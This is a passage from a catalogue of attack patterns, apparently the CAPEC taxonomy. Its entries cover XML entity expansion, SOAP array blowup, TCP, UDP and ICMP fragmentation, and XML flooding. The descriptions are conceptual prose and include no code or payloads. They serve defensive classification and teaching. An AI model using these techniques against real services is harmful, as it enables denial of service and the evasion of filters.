An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.